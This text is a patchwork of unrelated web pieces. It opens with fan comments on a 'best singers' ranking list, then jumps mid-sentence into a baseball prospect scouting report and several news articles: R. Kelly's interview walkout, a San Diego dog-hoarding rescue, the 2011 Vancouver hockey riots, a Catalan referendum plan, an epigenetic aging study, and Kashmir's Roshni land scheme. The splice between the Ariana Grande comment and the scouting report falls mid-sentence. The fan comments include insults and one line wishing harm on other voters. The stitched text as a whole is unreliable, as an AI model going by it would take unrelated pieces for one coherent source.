Chris Cornell Christopher John "Chris" Cornell was an American rock musician and singer-songwriter, best known as the lead vocalist, primary songwriter and rhythm guitarist for Seattle rock band Soundgarden and as former lead vocalist and songwriter for the supergroup Audioslave. His vocal range was C2 to A5, while...read more. 21 Why is Cornell not higher on the this list? In terms of vocal range, songwriting ability, stage presence, diversity and longevity he is easily one of the greatest singers of all time. Admittedly Soundgarden never quiet achieved the popularity they were capable of, Temple of the Dog has become a forgotten treasure and Audioslave was over before they began. Really, Chris Cornell left before their debut album was released and came back after it was successful. His solo career seems unfocused with too much trying to be a poor man's Jeff Buckley. Chris Cornell could have been much more but he's still a legend. My favorite vocalist of all time... I love all of his bands from soundgarden to audioslave even temple of the dog... My all-time favorite. I know that whitney houston is a great singer... But people are all obsessed with her now because she died! That's not right, you might brag that you have all the 45's of houstons, but did you have that before february 11th? Now people are gonna be buying up all the donna summer cds (even though I love her voice) half the people that have all her cds have never heard of her since a couple of days ago. But I'm not bashing any of these singers, and I pity anyone who does. No one should be bashed for their talent. People who do put down other people are jealous who have nothing better to do... Perfect example: justin bieber. You either love him or you hate him... I personally hate his music (I'm a grunge head so I hate new music) but I think he's an alright person. Turning into a douchebag, but he still has potential and people shouldn't bash other...more He deserves to be at number 1 in my opinion
The guy has got the best voice in rock history
He is got a huge vocal range only in chest voice
And He can pull it all off live and beautifully
Some are even better than the studio
To me cornell is a god of singing and he deserves to be at the top Just Great! V 123 Comments
Stevie Wonder Stevland Hardaway Morris, known by his stage name Stevie Wonder, is an American musician, singer, songwriter, record producer, and multi-instrumentalist. 22 Why is he not in the top ten stevie should be in the top 3 Not my favorite singer, in fact I'm not a big fan of his music. However, this is a list of the best singers in the world and Stevie is without a doubt worthy of the top five. In my opinion I would put Elvis first, John Lennon second, Stevie wonder third, Robert Plant forth and Freddie Mercury fifth. But that's just my opinion peace and love. Original voice, one of a kind. Great entertainer. Inventive. Not only does he have a great voice but he is easily one of the top musicians on the list. Why the hell is he below kirt Cobain and Madonna. V 104 Comments
Celine Dion Céline Marie Claudette Dion is a Canadian singer and businesswoman. She is best known for her song "My Heart Will Go On", which is the main theme of the 1997 film Titanic, which was the first film to gross $1 billion at the box office. 23 hey, celine dion must be in top 1..
because she has the greatest voice ever!
no one can bet her! and her song my heart will go on is hte greatest song ever! Surprised that Celine is not in this. One of the power house voices to be reckoned with.
Top 5. With Whitney, Mariah As THE best selling female artist ever, her voice speaks for itself and is far superior to Mariah's or Whitney's Celine who has nasal tone and lip sync and sings with pre-recorded vocals often will never surpass Whitney! - martin1 I love you V 440 Comments
Rob Halford Robert John Arthur "Rob" Halford is an English singer and songwriter, who is best known as the lead vocalist for the Grammy Award-winning heavy metal band Judas Priest and famed for his powerful wide ranging operatic voice. 24 To see Rob Halford down here is almost disgraceful. Along with Geoff Tate, Dio and Bruce Dickinson; he belongs in the top 20 if not top 10.
I have no arguments with MJ and Freddie on top but who the heck is Rhydian and how do people have the nerve to rate him higher than the Metal God?
Hell, that Rhydian guy has only released one album which amounts to nothing.
Rob Halford has been performing since 1974, astonishing people with that awesome voice. He had a range of 4 - 6 octaves and could easily change his style to match the music. From sweet, soft, sad songs like Dreamer Deceiver; Blood Red Skies; Last Rose of Summer and Beyond the Realms of Death to vicious snarling metal tunes like Breaking the Law; Hell Bent for Leather; Delivering the Goods; etc. He could reach notes so high, it could make fine crystal break. I'm talking about Dissident Aggressor; Painkiller; Sinner; Exciter, Ram it Down and the mac-daddy of Priest songs, Victim of Changes, where his entire vocal...more You all Are NUTS! How can anyone ever compare singers like Michael jackson and axl rose with the Metal God Rob Halford?! In his prime he had a vocal range over 6 octaves and tell me who else in the world had a better falsetto wail/tenor voice than him, huh? I'm sick and tired of people not giving Heavy Metal music the honor and respect it deserves. Rob Halford is the greatest Metal singer and the greatest singer/frontman of all genre of all time.. If he is second then he's second only to Robert plant and no one else and don't you forget it! Metal God Rules! You know, I like Iron Maiden more than Judas Priest and Bruce Dickinson has an amazing voice but, Rob Halford I must admit is superior. Sorry Bruce. - metalmaiden Come on! He has a great range and a good voice and he belongs much higher! V 94 Comments
James Hetfield James Alan Hetfield was born on August 3, 1963. He is an American musician, singer and songwriter known for being the co-founder, lead vocalist, rhythm guitarist and main songwriter for the American heavy metal band Metallica. 25 This God Is Better Than Michael Jackson By Miles... The Vocals In Master Of Puppets Are So Much Better Than The Ones In Thriller Did it occur to you that he's using one Metallica example too? He's got much better vocal songs. Listen to their self-titled Black Album if you want to hear James's greatest singing. Particularly the Unforgiven and Enter Sandman. - Songsta41 I fell down from my desk after seeing him under lady gaga. Find another game guys. WHAT THE HILL IS AMR DIAB DOING IN TOP 3 this man sucks in a very disgusting way and by the way james is far better than Michael jackson just listen to FOR WHOM THE BELL TOLLS Can you feel the battery? - peepsmith V 138 Comments
Ozzy Osbourne John Michael "Ozzy" Osbourne was born on December 3, 1948. He is also known as ''The Prince of Darkness''. Ozzy is an English singer, songwriter, and television personality. He rose to prominence in the early 1970s as the lead vocalist of the band Black Sabbath. Osbourne was fired from Black Sabbath...read more. 26 Unusual, unique but amazing voice. Brilliant singer. - icepaw99 Ozzy has always had a great voice. It has never changed. - ernest As they said about Freddie Mercury, this guy doesn't need a microphone so everyone can here him! This man was more successful than Paul Mccartney, and Black Sabbath was more successful than The Beatles! The only people that don't think he can sing is def people! Listen to the Sabbath bloody Sabbath c.d., and I think you'll change your mind about this list and put him at #1. Step away from the keyboard, right now. I love Ozzy but Black Sabbath aren't as successful as The Beatles. - Astaelian He is the best and he should be at the top. Is there any thing else I need to say? V 83 Comments
Rihanna Robyn Rihanna Fenty is a Barbadian-American pop singer. Born in Saint Michael and raised in Bridgetown, she first entered the music industry by recording demo tapes under the direction of record producer Evan Rogers in 2003. She ultimately signed a recording contract with Def Jam Recordings after auditioning...read more. 27 Rihanna has an unique voice and she deserves be on top 10 She has special voice Rihanna is my idol I love her she should be top 2 all her songs are amazing my favorites are diamonds what's my name we found love don't stop the music umbrella only girl in the world s&m disturbia and every single one her voice is incredible I love her unreleased songs to #biggest navy in the world navy's are Rihanna' diehard fans She's great V 246 Comments
Aretha Franklin Aretha Louise Franklin (March 25, 1942 - August 16, 2018) was an American singer, songwriter and pianist. She began her career as a child singing gospel at New Bethel Baptist Church in Detroit, Michigan, where her father, C. L. Franklin, was minister. 28 Aretha Franklin is easily top ten material. No offense to people ranked higher, such as Elvis, who had a more profound impact on the music industry than Aretha Franklin but she is a much better singer than Elvis. It is also completely ludicrous that people such as Justin Bieber and Eminem are ranked higher than Aretha Franklin simply because of popularity. Those two have barely any singing talent whatsoever. People need to vote on these lists based on criteria and not popularity. Whoever voted for Justin Bieber rather than this amazing singer should probably seriously consider jumping off of a very, very steep cliff. Rolling Stone magazine voted Ms. Franklin as the number one singer of all time. Justin Bieber (who is FOUR spots HIGHER on this list) was not even mentioned in the conversation. There goes my little rant about you dumbasses that make me vomit.
Now on a more positive note, Aretha belted out notes better than any other artist ever could. She was a role model not only for all women in the singing business, but also, all singers. She sang with all her heart and soul, not holding anything back. Aretha was, and forever will be, an icon of what actual music can be. Beautiful voice, unbelievable passion, and limitless soul is what made Aretha the greatest singer of all time. There is no one on the planet that can sing like this woman and I doubt there ever will be. Her songs are instantly recognizable and provoke a mad scramble to the dance floor. There will be be no one like her for a long time to come. Her only equivalent would be Michael Jackson. Put! Her! In! The! Top! Ten! - CaptDeadeye V 87 Comments
Taylor Swift Taylor Alison Swift is an American singer-songwriter. She was born on December 13, 1989 in Reading, Pennsylvania. She is best known for writing break up songs and for having more than 5 Grammys. She became interested in country music when she was around 9 years old and after watching a documentary about...read more. 29 Taylor swift is just amazing! she deserves to be at least in the top 10. I love her! her songs are about what she feels like, and she knows her fans are dealing with the same thing. its like shes looking at our diaries or reading our minds.. thats how awesome taylor is No offense, but I have to disagree. She's beautiful and she's got a great voice but all she ever seems to sing about is breaking up. She's not very creative in her music. It seems like break ups are all she ever sings about. Taylor Swift should be number 1! She has the best voice and I hope I grow up to be just like her! (and she is so pretty). Taylor Swift is definitely not number 127 she is definitely number 1
She rocks and EVERYONE in the entire world knows it
She has more fans than anyone can count and P.S. I am her #1 fan
So whoever runs this website better make taylor swift #1 because she without a doubt deserves is and no offense but taylor swift is a better singer than miley cyrus but miley cyrus should be #5 No offense but Bruce Dickinson is better than Taylor Swift any day in my personal opinion. - OliveBranch222 Awesome. First woman to win “Album of the year.” U haters cry a river and build a bridge. She’s famous, not you V 921 Comments
Jon Bon Jovi John Francis Bongiovi, Jr., known as Jon Bon Jovi, is an American singer-songwriter, record producer, philanthropist, and actor, best known as the founder and frontman of rock band Bon Jovi, which was formed in 1983. He is famous for his band's hit song “Livin’ On A Prayer“ released in 1986. He...read more. 30 Bon Jovi sings about what is real and what is going on in the world. Bon Jovi sings with energy, emotion, and relationships. Jon has incredibly powerful voice and he's also a great rhythm guitarist. Songs like My Guitar Lies Bleeding In My Arms give you thrills. Please! JON BON JOVI is the best still they keep in the top to all the songs RESPECT! ^^ long life to BON JOVI the big, the best of the world Deserve much better V 217 Comments
Pink Alecia Beth Moore known professionally as P!NK, is an American singer, songwriter, dancer and actress. 31 WHY IS PINK NOT NUMBER 1?!
Pink is one of the only modern artists whose songs actually have some sort of meaning. Just Give Me A Reason is one of those songs which their lyrics make you want to go "I know right? "
"Try" is one of the most inspiring songs ever written. (The other two being Titanium by David Guetta ft. Sia and Stronger by kelly Clarkson.)
"When there is desire there is gonna be a flame/When there is a flame someone's bound to get burned./But jsut because it burns doesn't mean you'll die/You gotta get up and try, try, try.
And most of all, this song is arguably the best song ever written, why is it not popular like Gangnam Style...
BLOW ME ONE LAST KISS
This song perfectly describes many strained relationships, no matter who or where or when. The lyrics are concise, perfectly timed, allegorical, anything you want. This song also perfectly describes my feelings towards my abusive mother who I cannot escape the...more Have you ever listened to Wake up by Mad season? Those lyrics might be more inspirational. - Feirceraven Obvious I would think. She is so talented and has traveled through 3-4 genres of music with success in each one. Obviously she has skill. OH MY GOD!
WHY IS THE ALMIGHTY QUEEN P!NK ONLY AT 79! ARE YOU KIDDING!
P!NK CAN OUT SING THESE PEOPLE ANY DAY
SHE IS THE GREATEST LIVE PERFORMER IN THE WORLD, HAVE YOU SEEN ANYONE IN THE TOP 10 SWING FROM A TRAPEZE OR SILKS FROM 40 FEET IN THE AIR WITH NOTHING BUT HER STRENGTH KEEPING HER UP AND NO NET UNDERNEATH HER AND STILL SING LIVE WITH NO AUTOTUNE WHAT SO EVER AND STILL KEEP AN INCREDIBLY STRONG VOICE AND STILL STAY IN TUNE!
ANY WAY FORGET THIS PINK WAS NAMED THE TOP ARTIST OF 2000 TO 2010 BECAUSE OF HER AMAZINGNESS WHO NEEDS THIS STUPID LITTLE LIST TO FIND OUT WHO IS THE BEST
UGH WHY IS P!NK SO UNDERRATED PEOPLE
NOT ONLY THAT BUT FOR HER TRUE FANS
HER VOICE IS LIKE MEDICINE, IT ALWAYS CALMS US DOWN,
WHEN WE FALL SHE IS ALWAYS THERE TO PICK US UP
WHEN SHE SINGS IT IS LIKE SHE IS WITH YOU IN HEART AND NEXT TO YOU LIKE SHE IS THERE
WHEN WE ARE BROKEN SHE HELPS BUILD WITH HER MUSIC
WHEN WE ARE FALLING SHE WILL SAVE US WITH HER MUSIC
AND WITHOUT...more She's so underrated V 78 Comments
Beyonce Beyoncé Giselle Knowles-Carter, is an American singer and actress, who started out in the popular pop/r&b girl group Destiny's Child. They had multiple top 5 hits such as "No, No, No", "Say My Name", "Bills, Bills, Bills", "Survivor", "Independent Women", "Bootylicious", and "Jumpin', Jumpin" from...read more. 32 Beyonce is the best.. She should be on the top. Her singles like single ladies and halo cannot be beaten.. They make you want to move... Shes the best and I am her biggest fan.. Love you beyonce OH HELL. NO! They call her Queen Bey for a reason, because there is Queen Bey and King Michael. 1 and 2! She should be second only to Michael. Have you ever heard the song Listen? Listen to Listen and then go listen to songs from the people you have put above her, who's singing is the best?! Plus, she can dance at the same time without lip syncing! She had the best song in 2002 with destiny's child, 2003 (Crazy in love), 2007 (Irreplaceable) and 2009 (Single Ladies). First woman to headline Glastonbury in 25 years! Everyone knows who she is, everyone knows the uh-oh dance and not to mention "to the left, to the left"... She is one of the most famous women ever to walk the face of this Earth. One word, BEYONCE! I just don't get it why does everyone and their mother overrate Beyonce she is not a very great singer and there are people who actually have unique voices and Beyonce is not one of them! - TheThomasThomas Beyonce placed 30? What? You gotta be kidding me. Beyonce is definitely one of the most inspirational, astounding, beautiful, warm-hearted, funny, diligent, and powerful singers and entertainers of our time. From her Destiny Child days to where she is now, she has always shown great commitment and passion in her music career as well as her fans, including ME! I love many songs by her, especially Crazy in Love, I Was Here, Listen, and, ah so many! She can rock it on stage, dancing in those high heels and still can sing and reach every single note without even taking a breath. I love her so much as I am one of her many admirers, and may she be blessed to continue to make many more great songs and inspiring people around the world from generation to generation No... just no - CaptDeadeye V 309 Comments
Matt Bellamy Matthew James "Matt" Bellamy is an English musician, singer, songwriter, multi-instrumentalist, and compose most famous for being the main vocalist in alternative rock band Muse. 33 If you really think that Mathew Bellamy deserves to be this low on the chart, simply look up MUSE- Micro Cuts. After that, If you really, really think that Matt is not one of the best singers IN THE WORLD, then you are obviously a fanboy of some sort. Honestly, looking at this list and many others is just saddening. Too many times have they put singers such as John Lennon, or Kurt Cobain too high. When singers like Matt Bellamy are ranked low. I guess it's more of a popularity contest than actual singing? Don't get me wrong, they're all great singers, but if you have Kurt Cobain (Just an example) at number 45 (Referring to Rolling Stone's 100 Greatest Singers of All Time) when Matt Bellamy isn't even on the list seems wrong in my opinion. I mean, since when does making you one of the best song writers of all time make you one of the best singers of all time? (John Lennon is ranked higher than Freddie Mercury on that list... ) That's like saying, the best reader is the best writer, sure they're very related and being a great reader helps your writing, but it doesn't necessarily make up for the talent for writing. What I'm trying to say is, people need to stop picking their favorites in these types of things. Yes, song writing is a...more Matt can do anything he wants with his voice. He has a wide vocal range. Just listen to songs like Micro Cuts, Stockholm Syndrome, New Born, Supermassive Black Hole, and Exogenesis Part 1: Overture, and YOU'LL SEE WHY HE SHOULD BE #1! Why do people put popular singers high and actually great singers low? matt's my favorite of this list so far. V 231 Comments
Billie Joe Armstrong Billie Joe Armstrong is an American musician, singer, songwriter and actor who is best known as the lead vocalist, primary songwriter, and guitarist of the punk rock band Green Day, which he co-founded with Mike Dirnt. 34 No one, ever will be such an amazing artist as BILLIE JOE ARMSTRONG
DEAL WITH IT! There's a contest between Billie and Reverend Strychnine Twitch and Wilhelm Fink... but I pick Billie. The List makers do not know or have not yet listened to BILLIE JOE ARMSTRONG,
A voice like he has got is just incomparable, its a big shame that people like Chester(who know only to shout), Michael Jackson(who is a disguised male, Madonna, Celine Dion and others...
You can listen to wake me up when September ends for a better knowledge of how good he is...
Or listen to 21 guns, Macy's day parade, good riddance basket case,...
Just any green day song...
GREEN DAY ROCK AND ARE IMMORTAL and so is BILLIE JOE ARMSTRONG He is the best singer ever - Legend1221 V 218 Comments
Ariana Grande Ariana Grande-Butera, known professionally as Ariana Grande, is an American singer and actress. She was born on June 26th 1993 in Boca Raton, Florida to Joan Grande and Edward Butera. She is best known for her role as Cat Valentine on the Nickelodeon sitcom Victorious and its spin-off show Sam & Cat....read more. 35 I may not know so much things about her but recently I have been listening to her music, she sings really great. She is also a beautiful and nice person she has a great sense of style. She comes up with great songs and not Afraid to she her personality or her feelings. She is young and I think she deserves to be on the top ten, I bet it would mean the world to her if she knew that she is on the top ten. Ariana all the way! A lot of people say she's rude but I'm pretty sure those are just assumptions and most people who hate on her never actually see |
open stance and slight crouch. He keeps his hands high and he utilizes a moderate leg kick for timing. His hands stay pretty busy pre-pitch. His swing is linear and has some length to it, but the bat speed is plus and the ball jumps off of his barrel. For an 18 year old he put together some pretty professional at bats in my look. Fouled off some tough pitches, laid off of some tough benders. The hit has the potential to play plus.
Pache is pretty strong already and will get stronger. I put the raw power at 45 right now and that may get to 55 at peak. Potential 16-20 HR player but with current swing plane 8-12 is more likely.
Speed and defense: For a big man Pache can fly, the speed is double plus. I liked his action in CF, good 1st step and the route running is already above average. He displayed a strong arm as well.
Conclusion: Pache is an exciting young player with 5 loud tools on display. We could be looking at a player with the potential to hit 280+, with power in the teens and 25+ SB. With well above average CF defense. That’s a very exciting player.
This is the year of the CF in the Sally. I’m looking forward to seeing how Pache stacks up vs Mickey Moniak, Blake Rutherford, Desmond Lindsay, Leody Taveras, Manuel Melendez ETC…
I should have multiple looks at each player by the All Star break and will rank them then. Cheers.
Next up at Notes: A 1st impression piece on Rome SS, Derian Cruz should land tomorrow. Also the Greensboro Grasshoppers are in town and I’m hoping to see young Right Hander Jordan Holloway tomorrow.
The fund drive has concluded for 2017. The $$ goal has been reached and I want to thank everyone for there support.
Like this: Like Loading...Controversial R&B singer R. Kelly has been out supporting his new album The Buffet pretty hard, even uploading an impassioned video to YouTube begging for his fans to support the record. Today, however, Kelly’s PR campaign took a sharp left turn when the 48-year-old made an appearance on Huff Post Live for a Q&A during which the show’s host took questions from Twitter.
Very quickly delving into matters of low album sales and lack of public support for the singer, the show’s host pushed Kelly to answer questions about why he thought The Buffet might not have sold well (which he chalked up to digital piracy) before jumping into naysayers who claim allegations about his past (including those about sexual relations with minors) make it impossible to support the art. “Would I let R. Kelly babysit my daughter? F**k no,” read one tweet. The interview continued with Kelly growing visibly uncomfortable — “I say f**k that,” he responded to both that tweet and fans who say it’s hard to divorce the man from the art — before eventually walking out. “I’m not perfect,” he added, “but I’m perfectly me.”
Watch the entire tense interview below and, if you’re unfamiliar with Kelly’s alleged crimes, read more here.SAN DIEGO - More than 90 dogs were saved from unsanitary conditions within a North County home.
Despite heavy rains pouring on much of the county, San Diego Humane Society Law Enforcement officials responded to the scene Friday night to find 92 Yorkie and Yorkie mix-breed dogs living in overcrowded and "deplorable" conditions.
The dogs were triaged on site by officers, before being transported to the humane society for veterinary attention.
“We always dread seeing a situation like this. It's tragic for the animals and often for the people involved. But when this happens, our first response is always for the animals," Dr. Gary Weitzman, president and CEO of San Diego Humane Society, said. "In this case nearly 80 of them. We want to get them away from a dangerous situation as quickly and compassionately as possible both for the animals and the people involved."
The dogs will receive medical treatment, vaccinations, and behavior assessments.
“We see this type of situation all too often when well-intentioned people get in over their heads," Stephen MacKinnon, Chief of Humane Law Enforcement for San Diego Humane Society, said.
The dogs owners are an elderly couple who reached out the to society for help. SDHS said the incident was a hoarding situation. The owners were not identified.
In December 2016, 78 dogs found living in unsanitary condition at a home in El Cajon. Since then, more than 45 of those dogs have been adopted from the San Diego Humane Society.
*This article has been updated to reflect an update in the number of dogs rescued. Initial reports were of more than 80 dogs.Rich Lam / Getty Images Riot police in front of a burning vehicle in Vancouver on June 15, 2011.
Related The Vancouver Hockey Riots
Updated: June 16, 2011, 3 p.m. E.T.
The police in Vancouver did little at first when drunken and angry sports fans took to making sport of the streets of the city. It all started with the flipping of a car on Georgia Street inside one of the outdoor spectator zones set up to watch the seventh and deciding game of the National Hockey League's Stanley Cup championship between the Vancouver Canucks and the Boston Bruins. The voluble disappointment over the local team's 0-4 defeat at the hands of the American team had a cheeky undertone to it in the beginning, the crowd entertained by the flipping of the car, by the people who dance on top of the tumbled vehicle, friends tweeting friends about the incident, laughing. Then the glee turned nasty. Fires were lit in trash bins; garbage was hurled at the police. Violence begat violence. The angry fans took apart the blue fencing used to demarcate an alcohol-free zone, turning it into riot gear to use to push back against the shields of the police.
It was only 8 p.m. in British Columbia when the mayhem started. The sun was still shining, but black smoke was rising everywhere. More than a dozen cars were torched, including at least two police vehicles that had also been flipped. The fire deparment was unable to move in to extinguish the flames. Suddenly, lawlessness became the law, and countless mainly young fans chose to obey the new dictum. Crowds started doing more than just flipping cars and throwing debris at police: they smashed glass storefronts and looted stores, including the Bay department store, stealing everything from clothing to chairs to cosmetics. (See pictures of the hockey riots in Vancouver.)
More uniformed officers arrived on the scene, and then the first tear-gas canisters and flash grenades were launched to disorient and disperse the mobs. It was a tall order. The city had invited more than 100,000 fans to gather on the streets of Vancouver to watch the game on four giant screens on the closed-off streets. Precautions had been taken: more than 2,000 liquor pour-outs took place, and alcohol sales were prohibited before game time. But many of the fans still somehow got the fuel to ignite their already fiery passions over hockey. "We shut the liquor stores down and were patting down people," said Vancouver police chief constable Jim Chu on Thursday, "But it is clear the alcohol was at an extremely high level." He said that earlier on Wednesday, he and his officers had run into a group of 16-year-olds drinking heavily.
The Vancouver police department would need three hours and reinforcements to stop the mayhem. Police marched in full riot gear. Cops from around the region sent extra officers to help quell the madness. British Columbia solicitor general Shirley Bond took to the airwaves to urge people to leave downtown. "What is most disappointing and disturbing is that we have spectators who will not go home," she said. "We need them to leave the downtown, and they need to stop treating this as a spectator sport." (Vancouver's Stanley Cup Craze: Grown Men in Full-Body Spandex)
Blood sport. People were seen walking the street with bloodstained clothing. Hospitals reported treating stabbing victims as well as those affected by the tear gas. The streets were littered with debris, the air suffused with a pungent scent of trash fires, burning cars and tear gas. Rioters covered their faces with T-shirts and scarves both to protect their noses and eyes and to conceal their identities. Not all the fans in the street, of course, turned to crime. Many of the would-be partyers showed horror on their faces some wandering aimlessly, unsure of whether to stay and watch the unfolding violence or to flee. Shooting video on their iPhones was no longer fun.
Chu speculated that some of the trouble may have been planned. "You don't burn a car unless you come to an event with incendiary devices," he said at a Thursday-morning press conference. He said the rioters appeared to be equipped with masks, goggles, gasoline, wrenches and fire extinguishers. Several police officers were treated for human bites.
The city of more than 600,000 people on Canada's Pacific coast was in shock. Vancouver Mayor Gregor Robertson called the situation "embarrassing and shameful" and praised the Vancouver police and fire departments for doing an "exceptional job under challenging circumstances." Chu raised the question of parental and broader societal responsibility. "Where were your kids?" he asked. "How drunk were they?" In the Canucks' locker room, an already dejected Henrik Sedin, Vancouver's captain, had to explain why his team fell apart in the loss and then say what he thought of the city's falling apart too. "It's terrible," he said. "This city and province has a lot to be proud of. It's too bad." One thing to take solace in: the rioting this time lasted three hours less than when the local team lost the Stanley Cup finals in 1994 after another Game 7. The looting this time, however, was much more intense.
Now comes a different type of police work for Vancouver. Officers videotaped the rioting while it was in progress. London Drugs, a shop damaged in the looting, said its security cameras had "sharp, clean images of the 200-plus rioters that ransacked the store." Meanwhile, thousands of spectators snapped photos and posted videos from the pockets of disturbance downtown. The Vancouver police has a process for allowing the public to share even anonymously images from the riots, inviting people to send everything to robbery@vpd.ca. "The response from the public wanting to help the police identify the individuals involved in [Wednesday] night's criminal activity has been overwhelming," says Vancouver constable Lindsey Houghton. "We are grateful for everyone's help." Social media may help bring antisocial behavior to justice.MADRID (Reuters) - Separatist parties in Spain’s Catalonia region set November 9 next year as the date for a proposed independence referendum on Thursday and agreed the wording, but the Spanish government immediately poured cold water on the plan.
Clay "caganers" representing Spain's Prime Minister Mariano Rajoy, Catalunya's regional President Artur Mas and ERC leader Oriol Junqueras surrounded by Catalan separatist flags are displayed at the Santa Llucia Christmas market in central Barcelona December 5, 2013.REUTERS/Albert Gea
Catalan regional government head Artur Mas said the vote, which the Spanish government says would be unconstitutional, would ask two questions: “Do you want Catalonia to be a state?” and “Do you want that state to be independent?”
Calls for independence in Catalonia, a wealthy industrial region of northeastern Spain which accounts for a fifth of the country’s economic output, have grown as a prolonged Spanish recession and cuts in public spending have hit the area, creating a headache for Prime Minister Mariano Rajoy.
Mas argued that there was a way for the vote to be held legally, but within minutes of his statement, Spanish Justice Minister Alberto Ruiz-Gallardon said the vote could not take place because Spain’s constitution would not allow it.
Rajoy later reiterated that he saw no elbow room on Madrid’s stance against the referendum.
“As prime minister I have sworn to uphold the constitution and the law and, because of this, I guarantee that this referendum will not happen,” Rajoy said during a joint news conference with European Council President Herman Van Rompuy.
“Any discussion or debate on this is out of the question.”
The ambiguous wording of the proposed first question: “Do you want to be a state?” was aimed at satisfying parties who wanted more independence from Madrid without separating altogether and at attracting as many voters as possible, political analysts said.
The Catalan government has been talking about a possible referendum since late last year and a Metroscopia poll in newspaper El Pais last month showed that 46 percent of Catalans favor separatism versus 42 percent who wish to remain within Spain.
However, the same poll also showed that Catalans, if offered more autonomy, would prefer it over outright independence.
BLIND ALLEY?
Rajoy’s People’s Party and the main opposition Socialists have both dismissed Catalan breakaway rhetoric, which has become more voluble against a backdrop of similar movements in Europe. In Scotland, a vote to decide on independence from the United Kingdom will be held on September 18 next year.
Both of Spain’s mainstream parties have lost support in Catalonia as tensions with Madrid have risen. Conversely, rejecting independence for Catalonia - 15 percent of Spain’s electorate - has backing in the rest of Spain.
But stopping a vote taking place could prove tricky, one political analyst said.
“I think they will call a referendum and, whatever its result, the Catalans end up winning... because, although the result is not binding, it is a very powerful weapon with which to exert pressure,” said Rafa Rubio, who teaches constitutional law at Madrid’s Complutense University.
Catalonia has strong historic and cultural roots and its own language, aside from Spanish. It already has a high degree of autonomy, but wants more say over taxes and public spending.
“Rajoy is worried, but his character is to leave things for time to deal with, and this is an issue which over time continues to grow and worsen,” Rubio said.
The parties who agreed the wording of the referendum represent 64 percent of the Catalan regional assembly.
“Mas... is leading Catalonia down a blind alley,” said Alfredo Perez Rubalcaba, leader of the Socialist party.Certain people will age quicker and die sooner, even if they keep their body healthy, suggests a largescale analysis by UCLA scientists. Regardless of how well you take care of yourself, an accelerated internal epigenetic clock may lead to an earlier death for some.
Researchers assessed data from over 13,000 individuals, measuring levels of DNA methylation in hundreds of specific areas on the genome to determine their “epigenetic age.” Epigenetic marks found on DNA and histone proteins are known to impact gene expression without changing the underlying gene sequence. Horvath’s epigenetic clock can estimate the age of most tissues and cell types by tracking DNA methylation, an epigenetic modification that can selectively switch off genes.
The group’s findings, published in Aging, showed that the epigenetic clock can actually predict when someone will die more accurately than their actual age, even after known risk factors are accounted for, such as smoking, BMI, and disease history.
“Our research reveals valuable clues into what causes human aging, marking a first step toward developing targeted methods to slow the process,” said Steve Horvath, Ph.D., Professor of Human Genetics & Biostatistics at UCLA who led the international team of 65 scientists.
They found that a portion of the population – about 5 percent – ages faster than normal and, ultimately, lives a shorter life. “Accelerated aging increases these adults’ risk of death by 50 percent at any age,” noted Horvath.
In a hypothetical example, let’s imagine there are two 60-year-old men who smoke because of stress. One man’s epigenetic aging rate is considered accelerated and ranks in the top 5 percent, while the other’s is average. The chance that the first man will die within the next 10 years is 75 percent, compared to the second man whose chance is 60 percent.
In addition, the team’s research lends some truth to the old adage that the good die young. Regardless of a healthy and fit lifestyle, some people are still on the fast-track to death because their epigenetic clock seems to tick faster than normal.
“You get people who are vegan, sleep 10 hours a day, have a low-stress job, and still end up dying young,” said Horvath.
However, Dr. Themistocles Assimes, coauthor and Assistant Professor of Cardiovascular Medicine at Stanford University School of Medicine, cautioned that we still do not know the precise role of epigenetics in death and aging. “Do the epigenetic changes associated with chronological aging directly cause death in older people?” questioned Assimes. “Perhaps they merely enhance the development of certain diseases – or cripple one’s ability to resist the progression of disease after it has taken root. Future research is needed to address these questions.”
Larger studies that use only well-documented causes of death will allow researchers to get closer to understanding the connection between specific diseases and epigenetic age, Assimes added.
Keeping pace with the growing population of the elderly and the high costs associated with diseases and disability will be difficult. For the first time ever, the number of people over the age of 65 will soon outnumber children younger than 5, according to the World Health Organization. Tracking a person for decades to test the efficacy of a novel anti-aging drug is just not feasible and would take too much time, making the epigenetic clock a viable option for assessing whether an anti-aging drug will work. “The epigenetic clock would allow scientists to quickly evaluate the effect of anti-aging therapies in only three years,” Horvath said.
Interestingly, Horvath also recently discovered that certain ethnic groups can epigenetically age slower than other groups and that menopause and insomnia might epigenetically speed up aging. Yet another study found that someone’s age could influence whether they reap the epigenetic benefits of exercising. With the world population rapidly aging, deciphering the many links researchers have found between epigenetics and age will become even more crucial.
If you’ve had your DNA sequenced, you can follow Horvath’s DNA methylation age tutorial to calculate your epigenetic age!
Source: Horvath et al. (2016). DNA methylation-based measures of biological age: meta-analysis predicting time to death. Aging, 8(9): 1844-1865.
Reference: UCLA. Epigenetic clock predicts life expectancy, UCLA-led study shows. UCLA Newsroom. 28 Sep 2016. Web.Low revenues from mismanaged scheme hold back Kashmir's plan to exploit its hydropower potential
By Athar Parvaiz
SRINIGAR, India, July 15 (Thomson Reuters Foundation) - Mismanagement of a flagship land ownership scheme in India's northern Jammu and Kashmir state, banked on by the regional government to generate cash to build its own power plants, is holding back local ambitions for energy independence.
The Roshni (Light) scheme was originally expected to bring INR 250 billion ($3.73 billion) into state coffers, enabling the Kashmir authorities to avoid doing deals with India's National Hydro-electric Power Corporation (NHPC).
But the region's government revealed last month that only INR 780 million had been collected so far, amid accusations of corruption.
In response, irate members from all parties at a recent session of Kashmir's legislative assembly forced the government to agree to order a thorough probe of irregularities laid out in a 2014 report by the Comptroller and Auditor General of India, who holds the rank of a Supreme Court judge.
In 2000, Kashmir's National Conference government at the time conceived a scheme in which people who had illegally occupied government land would be given ownership rights to that land in return for payment of its market value.
Revenue from transferring ownership rights over 102,579 hectares (253,478 acres) of land was earmarked for construction of hydropower projects intended to generate huge state revenues from energy exports, as well as meeting Kashmir's own energy requirements.
But in 2014, the Comptroller and Auditor General revealed the land transfer scheme had suffered irregularities, including the transfer of land at rates far below the market value and non-payment by many land occupants, including political leaders.
Since then, Kashmir's corruption watchdog, the State Vigilance Organisation (SVO), has indicted 49 officials, including two top-ranking bureaucrats and dozens of revenue officials, on related charges.
Many members of the current assembly also accuse some politicians, including a former speaker and a few legislators, of acquiring land at dirt-cheap rates.
"Ministers in previous governments were also involved in the Roshni land scam," Kavinder Gupta, speaker of Kashmir's legislative assembly, told members.
TREATY IN HOT WATER
The Roshni scheme was intended to assuage Kashmiri anxiety over the 1960 World Bank-mediated Indus Waters Treaty (IWT) between India and Pakistan, which many feel disregarded Kashmir's economic interests.
